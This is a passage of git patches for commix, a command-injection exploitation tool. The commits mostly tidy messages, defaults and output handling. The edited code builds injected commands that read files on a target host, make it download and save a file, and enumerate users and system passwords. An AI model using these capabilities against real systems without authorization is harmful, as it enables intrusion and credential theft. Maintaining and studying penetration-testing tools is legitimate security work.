+464,7 @@ def file_access(url, cve, check_header, filename): # Read a file from the target host. #------------------------------------- if menu.options.file_read: - file_to_read = menu.options.file_read + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() # Execute command cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) diff --git a/src/utils/settings.py b/src/utils/settings.py index e9bf540e38..7694fda06d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 22109ddbe0c7a372565db627418388ee809a1548 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 25 Apr 2022 08:26:35 +0300 Subject: [PATCH 0119/1023] Trivial updates --- src/utils/menu.py | 34 +++++++++------------------------- src/utils/session_handler.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 13 insertions(+), 29 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index 2f4b3074bc..154d7d8195 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -54,7 +54,7 @@ def banner(): "These options relate to general matters. ") general.add_option("-v", - default="0", + default=0, action="store", type="int", dest="verbose", @@ -64,7 +64,7 @@ def banner(): action="store_true", dest="install", default=False, - help="Install 'commix' to your system.") + help="Install " + settings.APPLICATION + " to your system.") general.add_option("--version", action="store_true", @@ -115,12 +115,6 @@ def banner(): default=False, help="Skip heuristic detection for code injection.") -# general.add_option("--encoding", -# action="store", -# dest="encoding", -# default=None, -# help="Force character encoding used for data retrieval (e.g. GBK).") - general.add_option("--codec", action="store", dest="codec", @@ -302,16 +296,16 @@ def banner(): request.add_option("--timeout", action="store", dest="timeout", - default=False, + default=settings.TIMEOUT, type="int", - help="Seconds to wait before timeout connection (default 30).") + help="Seconds to wait before timeout connection (Default: " + str(settings.TIMEOUT) + ").") request.add_option("--retries", action="store", dest="retries", - default=False, + default=settings.MAX_RETRIES, type="int", - help="Retries when the connection timeouts (Default: 3).") + help="Retries when the connection timeouts (Default: " + str(settings.MAX_RETRIES) + ").") request.add_option("--drop-set-cookie", action="store_true", @@ -481,7 +475,7 @@ def banner(): action="store", type="int", dest="timesec", - help="Seconds to delay the OS response (Default 1).") + help="Seconds to delay the OS response (Default: 1).") injection.add_option("--tmp-path", action="store", @@ -742,24 +736,14 @@ def tab_completer(text, state): Check if enumeration options are enabled. """ def enumeration_options(): - if options.hostname or \ - options.current_user or \ - options.is_root or \ - options.is_admin or \ - options.sys_info or \ - options.users or \ - options.privileges or \ - options.passwords or \ - options.ps_version : + if any((options.hostname, options.current_user, options.is_root, options.is_admin, options.sys_info, options.users, options.privileges, options.passwords, options.ps_version)): return True """ Check if file access options are enabled. """ def file_access_options(): - if options.file_write or \ - options.file_upload or\ - options.file_read: + if any((options.file_write, options.file_upload, options.file_read)): return True # eof diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index aa5353f288..4bad73afe7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -366,7 +366,7 @@ def store_cmd(url, cmd, shell, vuln_parameter): conn.close() except sqlite3.OperationalError as err_msg: print(settings.print_critical_msg(err_msg)) - except TypeError as err_msg: + except (TypeError, AttributeError) as err_msg: pass """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 7694fda06d..e8da5908b8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1011,8 +1011,8 @@ def sys_argv_errors(): # Check for multi encoded payloads MULTI_ENCODED_PAYLOAD = [] -# Default Timeout -TIMEOUT = 31 +# Default Timeout (Seconds to wait before timeout connection) +TIMEOUT = 30 # Retries when the connection timeouts (Default: 3). MAX_RETRIES = 3 From a1f58d1d4e52fac7306dfb16c085c1964c420ec6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Apr 2022 07:21:04 +0300 Subject: [PATCH 0120/1023] Multiple updates --- .../techniques/time_based/tb_enumeration.py | 15 +++++++++------ .../techniques/time_based/tb_file_access.py | 12 +++++------- .../blind/techniques/time_based/tb_handler.py | 6 +++--- .../blind/techniques/time_based/tb_injector.py | 5 +++-- .../techniques/classic/cb_enumeration.py | 4 ++-- .../techniques/eval_based/eb_enumeration.py | 2 +- .../techniques/file_based/fb_enumeration.py | 2 +- .../techniques/file_based/fb_handler.py | 6 +++--- .../tempfile_based/tfb_enumeration.py | 14 ++++++++------ .../tempfile_based/tfb_file_access.py | 4 +++- .../techniques/tempfile_based/tfb_handler.py | 18 ++++++++++-------- .../techniques/tempfile_based/tfb_injector.py | 9 +++++---- src/utils/settings.py | 6 +++--- 13 files changed, 56 insertions(+), 47 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 8ab74835c8..472bc2550d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -522,21 +522,24 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # The main command injection exploitation. check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + check_how_long = 0 + if len(output) > 1: if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + return check_how_long, output """ Check the defined options diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 3294541324..92072b1e87 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -57,10 +57,8 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if shell: info_msg = "The contents of file '" info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - sys.stdout.write(shell) + info_msg += "'" + Style.RESET_ALL + " : " + shell + print(settings.print_bold_info_msg(info_msg)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "The contents of file '" @@ -81,7 +79,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: @@ -93,7 +90,6 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: warn_msg = "It seems that '" + file_to_write + "' is not a file." print(settings.print_warning_msg(warn_msg)) - print(settings.SINGLE_WHITESPACE) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": @@ -163,7 +159,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - _ = True + _ = False if settings.TARGET_OS == "win": # Not yet implemented pass @@ -209,10 +205,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: + sys.stdout.flush() info_msg = "The '" + shell info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." print(settings.print_bold_info_msg(info_msg)) else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index fbdda83d12..d6fe24b428 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -61,7 +61,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check if defined "--maxlen" option. if menu.options.maxlen: - maxlen = settings.MAXLEN + settings.MAXLEN = maxlen = menu.options.maxlen # Check if defined "--url-reload" option. if menu.options.url_reload == True: @@ -479,8 +479,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r cmd = menu.options.os_cmd check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - print(settings.SINGLE_WHITESPACE) + #tb_injector.export_injection_results(cmd, separator, output, check_how_long) + #print(settings.SINGLE_WHITESPACE) if not new_line : print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 06b0d21f60..328f15080b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -278,8 +278,9 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg += "" else: info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + if output_length > 1: + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index b7c83e3d25..32ed465fa9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -545,9 +545,9 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - if menu.file_access_options(): + if menu.file_access_options(): sys.stdout.flush() - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index bed06de214..b99c178f6c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -548,7 +548,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 5f39cefc13..e7e863775e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -527,7 +527,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b867d015f8..3982c18002 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -46,8 +46,8 @@ """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: - info_msg = "Trying to create a file, in temporary " - info_msg += "directory (" + tmp_path + ") for command execution results.\n" + info_msg = "Trying to create a file in temporary " + info_msg += "directory (" + tmp_path + ") for command execution output.\n" sys.stdout.write(settings.print_info_msg(info_msg)) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb @@ -184,7 +184,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT - info_msg += "' for command execution results. " + info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) i = 0 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 0307f698a5..25a7350230 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -527,22 +527,24 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd = menu.options.os_cmd - info_msg = "Executing '" + cmd + "' command." + info_msg = "Executing the '" + cmd + "' command." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - return check_how_long, output + print(settings.SINGLE_WHITESPACE) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + check_how_long = 0 + if len(output) > 1: if settings.VERBOSITY_LEVEL <= 1: print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(output)) - print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + return check_how_long, output """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index c35b7d75a0..4be3329ba8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -47,7 +47,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True - # new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output @@ -71,6 +70,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." print(settings.print_warning_msg(warn_msg)) @@ -157,6 +157,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." print(settings.print_bold_info_msg(info_msg)) else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." print(settings.print_warning_msg(warn_msg)) @@ -214,6 +215,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." print(settings.print_bold_info_msg(info_msg)) else: + sys.stdout.flush() warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 8a06d385d2..b0da54b2af 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -82,7 +82,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined "--maxlen" option. if menu.options.maxlen: - maxlen = settings.MAXLEN + settings.MAXLEN = maxlen = menu.options.maxlen # Check if defined "--url-reload" option. if menu.options.url_reload == True: @@ -524,15 +524,17 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Check if defined single cmd. if menu.options.os_cmd: + cmd = menu.options.os_cmd check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - # Delete previous shell (text) files (output) from temp. - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # logs.print_logs_notification(filename, url) - # raise SystemExit() + if len(output) > 1: + #tfb_injector.export_injection_results(cmd, separator, output, check_how_long) + # Delete previous shell (text) files (output) from temp. + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) + delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # logs.print_logs_notification(filename, url) + # raise SystemExit() if settings.VERBOSITY_LEVEL != 0 or not new_line: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 5888383d58..741f1a97cc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -276,15 +276,16 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, check_start = time.time() output = [] percent = "0.0%" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE + "'." + info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE + "')." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" elif settings.VERBOSITY_LEVEL == 1 : info_msg += "" else: info_msg += "\n" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() + if output_length > 1: + sys.stdout.write("\r" + settings.print_info_msg(info_msg)) + sys.stdout.flush() for num_of_chars in range(1, int(num_of_chars)): char_pool = checks.generate_char_pool(num_of_chars) for ascii_char in char_pool: @@ -348,7 +349,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = settings.info_msg else: float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE +"'." + info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE +"')." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/utils/settings.py b/src/utils/settings.py index e8da5908b8..156b1792f9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "43" +REVISION = "44" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -376,8 +376,8 @@ def sys_argv_errors(): OUTPUT_FILE_EXT = ".txt" OUTPUT_FILE = OUTPUT_FILE_NAME + OUTPUT_FILE_EXT -# Max Length. -MAXLEN = "10000" +# Max Length for command execution output. +MAXLEN = 10000 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From f9c1567838bcbbaa88733b0d6753b07181e0a8b6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 27 Apr 2022 07:22:09 +0300 Subject: [PATCH 0121/1023] Minor updates --- doc/CHANGELOG.md | 4 +- .../techniques/time_based/tb_file_access.py | 32 ++++++++++----- .../blind/techniques/time_based/tb_handler.py | 3 -- .../techniques/classic/cb_enumeration.py | 4 +- .../techniques/classic/cb_file_access.py | 39 ++++++++++++------- .../techniques/classic/cb_handler.py | 15 ++++--- .../techniques/eval_based/eb_enumeration.py | 3 +- .../techniques/eval_based/eb_file_access.py | 37 +++++++++++------- .../techniques/eval_based/eb_handler.py | 14 +++---- .../techniques/file_based/fb_enumeration.py | 3 +- .../techniques/file_based/fb_file_access.py | 32 +++++++++------ .../techniques/file_based/fb_handler.py | 19 +++++---- .../tempfile_based/tfb_file_access.py | 36 ++++++++++------- .../techniques/tempfile_based/tfb_handler.py | 7 +--- src/core/modules/shellshock/shellshock.py | 28 ++++++------- src/utils/settings.py | 2 +- 16 files changed, 158 insertions(+), 120 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 920701f0d3..cc35e5fdf1 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -234,9 +234,9 @@ * Added: New option `--retries` that retries request(s) when the connection timeouts. ## Version 1.9 (2017-05-02) -* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-provided time delay. +* Revised: Minor improvement in results-based techniques, for delaying the OS responses depending on the user-supplied time delay. * Revised: The time-related ("time-based"/"tempfile-based") payloads, have been shortly revised. -* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-provided time delay. +* Revised: Minor improvement in file-based technique, for delaying the OS responses depending on the user-supplied time delay. * Fixed: Minor improvement in file-based technique, regarding τhe directory path that the output file is saved. * Added: New option `--ignore-redirects` that ignoring redirection attempts. * Added: New functionality for identifying and following URL redirections. diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py index 92072b1e87..e0ee3381ca 100755 --- a/src/core/injections/blind/techniques/time_based/tb_file_access.py +++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py @@ -35,6 +35,10 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Trying to read the content of file '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read @@ -55,19 +59,19 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT - info_msg += "'" + Style.RESET_ALL + " : " + shell + info_msg = "Content of file '" + info_msg += file_to_read + "' has been extracted." print(settings.print_bold_info_msg(info_msg)) + print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The contents of file '" + info_msg = "Extracted content of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." + warn_msg += "to read the content of file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -96,6 +100,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest + + info_msg = "Trying to write content of file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + # Execute command if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector @@ -148,8 +157,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." @@ -185,6 +193,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest + + info_msg = "Trying to upload the file '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) @@ -206,12 +219,11 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec print(settings.SINGLE_WHITESPACE) if shell: sys.stdout.flush() - info_msg = "The '" + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) else: sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + warn_msg = "It seems that you don't have permissions to upload the '" + dest_to_upload + "' file." print(settings.print_warning_msg(warn_msg)) """ diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d6fe24b428..e58bd3fbfb 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -470,8 +470,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_error_msg(err_msg)) pass else: - # if not menu.enumeration_options() and not menu.options.os_cmd: - # print(settings.SINGLE_WHITESPACE) tb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Check if defined single cmd. @@ -480,7 +478,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) # Export injection result #tb_injector.export_injection_results(cmd, separator, output, check_how_long) - #print(settings.SINGLE_WHITESPACE) if not new_line : print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 32ed465fa9..150f79739d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -545,8 +545,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - if menu.file_access_options(): - sys.stdout.flush() + # if 